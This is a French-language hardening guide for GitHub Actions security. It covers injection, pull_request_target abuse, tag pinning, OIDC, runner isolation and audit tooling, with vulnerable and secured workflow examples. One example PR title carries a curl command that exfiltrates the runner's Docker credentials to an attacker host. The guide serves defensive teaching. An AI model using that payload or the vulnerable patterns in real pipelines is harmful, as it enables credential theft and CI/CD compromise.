Sécuriser GitHub Actions en 2026 repose sur un durcissement multi-couches qui combine sept contrôles cumulatifs : permissions minimales par défaut au niveau organisation, pinning systématique des actions par SHA commit, OIDC federation pour remplacer les long-lived secrets cloud, validation stricte de pull_request_target, environments protégés avec approbation humaine, runners éphémères isolés, et monitoring runtime type StepSecurity Harden Runner. GitHub Actions est devenu le système CI/CD le plus utilisé au monde — plus de 100 millions de workflow runs par jour en 2025 selon les données GitHub — ce qui en fait une cible prioritaire pour les attaquants. Les incidents documentés (compromissions d'Actions populaires, Poisoned Pipeline Execution sur des projets open source majeurs, self-hosted runner hijacking via PR) suivent un patron récurrent : interpolation non contrôlée, permissions excessives, tags mutables, absence de monitoring. Cet article détaille les 8 vecteurs d'attaque spécifiques à GitHub Actions, le durcissement par contrôle, les patterns sécurisés pour pull_request_target et les self-hosted runners, les outils d'audit open source (zizmor, poutine, Harden Runner) et une checklist opérationnelle mappée aux recommandations du GitHub Actions Security Hardening Guide.
Les 8 vecteurs d'attaque GitHub Actions spécifiques
Les vulnérabilités pipeline génériques (OWASP Top 10 CI/CD) prennent des formes spécifiques sur GitHub Actions qu'il faut connaître précisément.
1. Script injection via contexte
Les expressions ${{ ... }} dans un run: sont interpolées avant exécution shell. Si la source contient des caractères spéciaux contrôlés par l'attaquant, le code shell injecté s'exécute dans le contexte du runner.
# Vulnérable : interpolation directe du titre de PR
on:
pull_request:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "Nouvelle PR : ${{ github.event.pull_request.title }}"Si l'attaquant ouvre une PR avec un titre "; curl http://attacker.oob.example/$(cat /home/runner/.docker/config.json | base64) #, le shell exécute la commande curl et exfiltre les credentials du runner.
# Sécurisé : passer la valeur via une variable d'environnement
on:
pull_request:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Nouvelle PR : $PR_TITLE"La différence critique : l'interpolation directe dans run: est substituée textuellement avant que le shell parse la commande. Le passage via env: place la valeur dans une variable d'environnement que le shell traite comme une chaîne opaque.
Sources de contexte particulièrement dangereuses : github.event.issue.title, github.event.pull_request.title, github.event.pull_request.body, github.event.pull_request.head.ref, github.event.commits[].message, github.event.comment.body. Le GitHub Actions Security Hardening Guide documente la liste complète.
2. Poisoned Pipeline Execution via pull_request_target
Le déclencheur pull_request_target est la principale source d'incidents documentés sur GitHub Actions depuis 2021. À la différence de pull_request qui exécute le workflow dans le contexte de la PR (sans accès aux secrets du repo cible), pull_request_target exécute avec les secrets du repo cible tout en étant déclenché par des contributeurs externes.
# Vulnérable : checkout du code de la PR puis exécution avec secrets
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test
- env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
run: npm run deployL'attaquant peut modifier package.json ou npm test pour exécuter du code arbitraire avec accès au DEPLOY_KEY. Pattern exploité contre de multiples projets open source entre 2021 et 2024.
# Sécurisé : séparer les phases non-privilégiées et privilégiées
on: pull_request_target
jobs:
# Job 1 : code PR exécuté sans secrets
test:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test
# Job 2 : actions privilégiées sans checkout du code PR
label:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- uses: actions/github-script@v7
with:
script: |
// Actions sur la PR sans exécuter le code de la PR
github.rest.issues.addLabels({ ... })Règle simple : si tu fais checkout du code de la PR, n'utilise jamais pull_request_target. Si tu utilises pull_request_target, ne fais jamais checkout du code de la PR.
3. Tag mutable et tag hijacking
Une Action référencée par tag (v1, v4) exécute ce que le tag pointe au moment du run. Le mainteneur peut repointer le tag (légitimement ou suite à compromission) vers un commit différent.
# Vulnérable : tag mutable
- uses: third-party/action@v1
# Vulnérable : même une release tag comme v1.2.3 reste techniquement mutable en Git
- uses: third-party/action@v1.2.3
# Sécurisé : pin par SHA commit immuable + commentaire de version
- uses: third-party/action@a1b2c3d4e5f678901234567890abcdef12345678 # v1.2.3Dependabot met à jour automatiquement ces pins quand une nouvelle version sort. Le commit SHA garantit que le code exécuté est celui qui a été audité au moment de la mise à jour.
4. Workflow command injection
Les workflow commands legacy (::set-output, ::save-state) ont été dépréciées en 2023 après la découverte d'injections via stdout. Leur successeur $GITHUB_OUTPUT et $GITHUB_STATE reste exposé si on y écrit des données non validées.
# Vulnérable : données attaquant écrites brutes dans GITHUB_OUTPUT
echo "title=${PR_TITLE}" >> "$GITHUB_OUTPUT"
# Si PR_TITLE contient "malicious=payload", le parser GitHub l'interprète
# comme un second output nommé 'malicious' avec valeur 'payload'.
# Défense : utiliser le heredoc syntax officiel
delim=$(openssl rand -hex 8)
{
echo "title<<${delim}"
echo "${PR_TITLE}"
echo "${delim}"
} >> "$GITHUB_OUTPUT"5. GITHUB_TOKEN permissions excessives
Historiquement, GITHUB_TOKEN avait par défaut des permissions read-write étendues sur le repo. Une action compromise pouvait modifier le code, créer des releases, déployer, effacer. GitHub a introduit en 2022 le setting « Workflow permissions » pour basculer en read-only par défaut. Beaucoup de repos legacy restent en read-write par défaut.
# Configuration au niveau repo/org (Settings → Actions → General → Workflow permissions)
# Option à sélectionner : "Read repository contents and packages permissions"
# Dans chaque workflow, déclaration explicite minimale
name: Build
on: push
permissions: {} # aucune permission par défaut
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read # suffisant pour un simple checkout + test
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm test
release:
runs-on: ubuntu-latest
if: startsWith(github.ref, 'refs/tags/v')
permissions:
contents: write # pour créer release
id-token: write # pour OIDC
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: gh release create ${{ github.ref_name }} --generate-notes6. Self-hosted runner hijacking
Un self-hosted runner sur repo public exécute par défaut les PR externes. L'attaquant ouvre une PR qui modifie le workflow ou un script exécuté par le CI, prend la main sur la machine self-hosted. Si cette machine a accès au réseau interne, compromission critique.
Règles strictes en 2026 :
- Jamais de self-hosted runner sur repo public sans approval gates pour les contributeurs non-trusted.
- Runners éphémères uniquement. Configuration via ARC (Actions Runner Controller) en Kubernetes ou via le pattern de runner jetable avec
--ephemeral. - Isolation réseau : VPC dédié, pas d'accès direct à la prod. Accès cloud via OIDC éphémère uniquement.
- Pas de Docker socket monté en volume. Utiliser
kubernetes/setup-kubectl+docker/setup-buildx-actionen mode rootless. - Runner groups pour séparer les runners sensibles (prod) des runners génériques.
7. Reusable workflow confusion
Les reusable workflows (uses: ./.github/workflows/my-reusable.yml@v1) sont également vulnérables aux tags mutables et aux permissions excessives si mal déclarés. Les secrets passés via secrets: inherit sont exposés à tous les jobs du workflow appelé.
# Vulnérable : inherit transmet tous les secrets
jobs:
call-reusable:
uses: my-org/my-repo/.github/workflows/deploy.yml@v1
secrets: inherit
# Sécurisé : transmettre uniquement les secrets strictement nécessaires
jobs:
call-reusable:
uses: my-org/my-repo/.github/workflows/deploy.yml@commit-sha-pinned
secrets:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN_PROD }}8. Expression injection dans les conditionnels
Les conditions if: évaluées sur des expressions peuvent être contournées si la source est attaquant-contrôlée.
# Vulnérable : le titre de PR peut contenir une valeur qui fait passer la condition
if: contains(github.event.pull_request.title, 'skip-ci') == false
# Si un attaquant met un titre crafted, l'évaluation de l'expression peut
# produire un comportement inattendu selon le parser GitHub Actions.
# Défense : utiliser des valeurs fixées côté GitHub (labels, author), pas
# du texte utilisateur.
if: contains(github.event.pull_request.labels.*.name, 'skip-ci') == falseChecklist de durcissement par niveau
Approche progressive en trois niveaux, applicable à tout repo utilisant GitHub Actions.
| Niveau | Contrôle | Effort |
|---|---|---|
| Base | Workflow permissions read-only par défaut au niveau org | 1 heure |
| Base | Permissions explicites par workflow et par job | 2 à 5 jours par repo |
| Base | Pinning SHA de toutes les actions tierces | 1 jour |
| Base | Dependabot activé pour GitHub Actions | 30 minutes |
| Base | Secret scanning et push protection activés | 10 minutes |
| Intermédiaire | OIDC federation vers AWS, Azure, GCP | 2 à 5 jours |
| Intermédiaire | Environments avec required reviewers pour prod | 1 heure |
| Intermédiaire | Allowlist d'actions au niveau organisation | 1 jour |
| Intermédiaire | Audit automatique avec zizmor ou poutine en CI | 1 heure |
| Intermédiaire | StepSecurity Harden Runner en mode learning | 2 heures |
| Avancé | Harden Runner en mode block sur allowlist sortante | 1 à 2 semaines |
| Avancé | Self-hosted runners éphémères via ARC Kubernetes | 1 à 2 semaines |
| Avancé | Signature Cosign et SLSA L2 via slsa-github-generator | 2 à 5 jours |
| Avancé | Logs export vers SIEM externe | 1 semaine |
OIDC federation : le pattern de référence 2026
Remplacer les long-lived secrets cloud (AWS_ACCESS_KEY_ID, Azure Service Principal secret, GCP Service Account key) par des tokens éphémères obtenus via OIDC est l'évolution la plus importante de GitHub Actions security 2021-2026. La configuration type pour AWS :
name: deploy
on:
push:
branches: [main]
permissions:
id-token: write # requis pour GitHub OIDC
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # approval gate si configuré
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
role-session-name: gha-${{ github.run_id }}
aws-region: eu-west-3
# Durée session IAM courte (15 min)
role-duration-seconds: 900
- run: aws s3 sync ./dist/ s3://my-prod-bucket/La trust policy côté AWS limite l'assume-role à la provenance exacte :
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": [
"repo:my-org/my-repo:ref:refs/heads/main",
"repo:my-org/my-repo:environment:production"
]
}
}
}]
}Le champ sub de l'OIDC token permet de limiter :
- par repo (
repo:my-org/my-repo:*) - par branche (
repo:my-org/my-repo:ref:refs/heads/main) - par environment (
repo:my-org/my-repo:environment:production) - par pull request (
repo:my-org/my-repo:pull_request)
Toujours restreindre à la granularité la plus fine qui convient au use case. Une condition repo:*:* sans précision est aussi risquée qu'un long-lived secret.
Configuration organization-level
Trois contrôles critiques à configurer au niveau organisation GitHub (impactent tous les repos).
Actions allowlist
Limiter les actions utilisables dans l'organisation à une liste approuvée. Soit aux actions officielles GitHub (actions/*), soit à une allowlist explicite (actions/*, docker/*, aquasecurity/*, aws-actions/*), soit à Local actions only pour les organisations les plus strictes.
Workflow permissions par défaut
Settings → Actions → General → Workflow permissions :
- Read repository contents and packages permissions (read-only, recommandé en 2026).
- Cocher « Allow GitHub Actions to create and approve pull requests » uniquement si nécessaire.
Fork pull request workflows
Settings → Actions → General → Fork pull request workflows in private repositories :
- Require approval for all outside collaborators au minimum.
- Require approval for first-time contributors au minimum pour les repos publics.
Monitoring runtime avec Harden Runner
StepSecurity Harden Runner est un agent qui s'injecte dans le runner et surveille les connexions réseau, les modifications filesystem, les exécutions de processus pendant l'exécution du workflow.
jobs:
build:
runs-on: ubuntu-latest
steps:
# Premier step obligatoirement : inject agent
- uses: step-security/harden-runner@v2
with:
# Mode audit : logue sans bloquer (pour apprendre les destinations)
egress-policy: audit
# Après période d'observation, passer à block
# egress-policy: block
# allowed-endpoints: >
# github.com:443
# registry.npmjs.org:443
# objects.githubusercontent.com:443
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm install && npm testCas d'usage documentés : Harden Runner a détecté en temps réel la compromission de plusieurs actions populaires en 2023-2024 (trafic sortant vers IPs non-allowlistées), permettant aux équipes adoptantes de stopper la propagation avant impact.
Mode learning d'abord (observer les destinations légitimes pendant 2 à 4 semaines), puis mode block avec allowlist affinée.
Outils d'audit automatique
Trois outils open source pour auditer les workflows existants.
zizmor
Scanner statique des fichiers .github/workflows/, détecte script injection, permissions excessives, actions non-pinées, pull_request_target vulnérable. Développé par William Woodruff (Trail of Bits) en 2024.
# Installation
pip install zizmor
# Audit du repo courant
zizmor .github/workflows/
# Intégration en CI comme GitHub Action
# - uses: zizmor-audit@v0poutine (BoostSecurity)
Scanner plus poussé avec analyse cross-repository, détection de patterns connus d'exploitation, base de règles actualisée.
# Installation via Docker
docker pull boostsecurityio/poutine
# Scan d'une organisation GitHub complète
docker run --rm boostsecurityio/poutine \
analyze-org my-github-org \
--token $GITHUB_TOKENGitHub CodeQL
CodeQL inclut depuis 2024 des requêtes spécifiques aux workflows GitHub Actions (script injection, inappropriate-trigger, etc.). Activable via github/codeql-action avec queries: security-extended.
Détection et réponse
Trois patterns de détection à mettre en place pour compléter la prévention.
Export des audit logs
GitHub Enterprise et GitHub.com (plan Team+) proposent un export des audit logs via API. Intégrer dans un SIEM (Elastic Security, Datadog, Wazuh, Splunk) pour :
- Alerter sur création ou modification de workflow par un compte non habituel.
- Alerter sur ajout d'une action tierce hors allowlist.
- Détecter les usages anormaux de secrets (exfiltration volumique).
- Tracer les modifications de permissions organisation.
Alerting sur patterns spécifiques
# Exemples de règles Sigma utiles (adaptables Elastic/Splunk/Wazuh)
- Workflow modifié sur branche main sans PR (push direct par admin).
- Ajout d'un secret au niveau organisation.
- Tentative de run d'un workflow par un contributeur externe first-time.
- Modification du setting "Workflow permissions" au niveau org ou repo.
- Téléchargement d'artefact par un compte non-lié au repo.Incident response playbook
En cas de compromission suspectée ou confirmée :
- Révoquer immédiatement tous les tokens et secrets du repo concerné.
- Désactiver les workflows en mass via API.
- Auditer les 30 derniers jours de workflow runs pour identifier les actions malveillantes.
- Rotater toutes les clés cloud, tokens de déploiement, credentials database utilisés par les workflows.
- Scanner les artefacts produits pendant la période suspecte pour détecter d'éventuelles backdoors injectées.
- Publier un post-mortem si l'incident touche des utilisateurs downstream (transparence supply chain).
Pattern sécurisé : workflow release production
Pour illustrer l'ensemble des contrôles, exemple de workflow release complet intégrant : permissions minimales, pinning SHA, OIDC, environment protection, Harden Runner, signature Cosign, SBOM.
name: Release to production
on:
push:
tags: ["v*.*.*"]
permissions: {}
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write
packages: write
steps:
- uses: step-security/harden-runner@91182cccc01eb5e619899d80e4e971d6181294a7 # v2.10.1
with:
egress-policy: audit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: docker/login-action@9780b0c442fbb1117ed29e0efdff1e18412f7567 # v3.3.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@4f58ea79222b3b9dc2c8bbdd6debcef730109a75 # v6.9.0
id: build
with:
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}
- uses: sigstore/cosign-installer@4959ce089c160fddf62f7b42464195ba1a56d382 # v3.6.0
- name: Sign image
run: |
cosign sign --yes \
ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
- uses: anchore/sbom-action@f325610c9f50a54015d37c8d16cb3b0e2c8f4de0 # v0.17.6
with:
image: ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
format: cyclonedx-json
deploy:
needs: build
runs-on: ubuntu-latest
environment: production # approval gate si reviewers configurés
permissions:
id-token: write
contents: read
steps:
- uses: step-security/harden-runner@91182cccc01eb5e619899d80e4e971d6181294a7
with:
egress-policy: audit
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
role-session-name: deploy-${{ github.run_id }}
aws-region: eu-west-3
role-duration-seconds: 900
- name: Verify signature before deploy
run: |
cosign verify \
--certificate-identity-regexp='^https://github.com/${{ github.repository_owner }}/' \
--certificate-oidc-issuer='https://token.actions.githubusercontent.com' \
ghcr.io/${{ github.repository }}:${{ github.ref_name }}
- name: Deploy
run: aws ecs update-service --cluster prod --service my-app --force-new-deploymentPoints clés à retenir
- GitHub Actions concentre 8 vecteurs d'attaque spécifiques : script injection via contexte, PPE via pull_request_target, tag hijacking, workflow command injection, GITHUB_TOKEN excessif, self-hosted runner hijacking, reusable workflow confusion, expression injection.
- Les trois contrôles à activer en priorité : workflow permissions read-only par défaut au niveau org, pinning SHA de toutes les actions tierces, OIDC federation vers AWS/Azure/GCP.
pull_request_targetest la principale source d'incidents. Règle absolue : jamais de checkout du code PR dans un workflow pull_request_target, jamais d'interpolation de github.event.pull_request.* dans un script sans validation.- StepSecurity Harden Runner apporte une détection runtime précieuse pour détecter les compromissions d'actions tierces en temps réel. Mode learning puis mode block sur allowlist.
- Les outils d'audit open source (zizmor, poutine, CodeQL) couvrent 80 % des vulnérabilités évidentes en quelques heures d'effort. À intégrer en CI comme filet permanent.
Pour aller plus loin
- Qu'est-ce que le DevSecOps - approche globale dont GitHub Actions est une brique.
- CI/CD sécurisée : définition - vue transverse incluant GitLab, Jenkins, CircleCI.
- SAST vs DAST - contrôles sécurité intégrés aux workflows.
- Scanner de dépendances (SCA) - défense contre dependency chain abuse en pipeline.





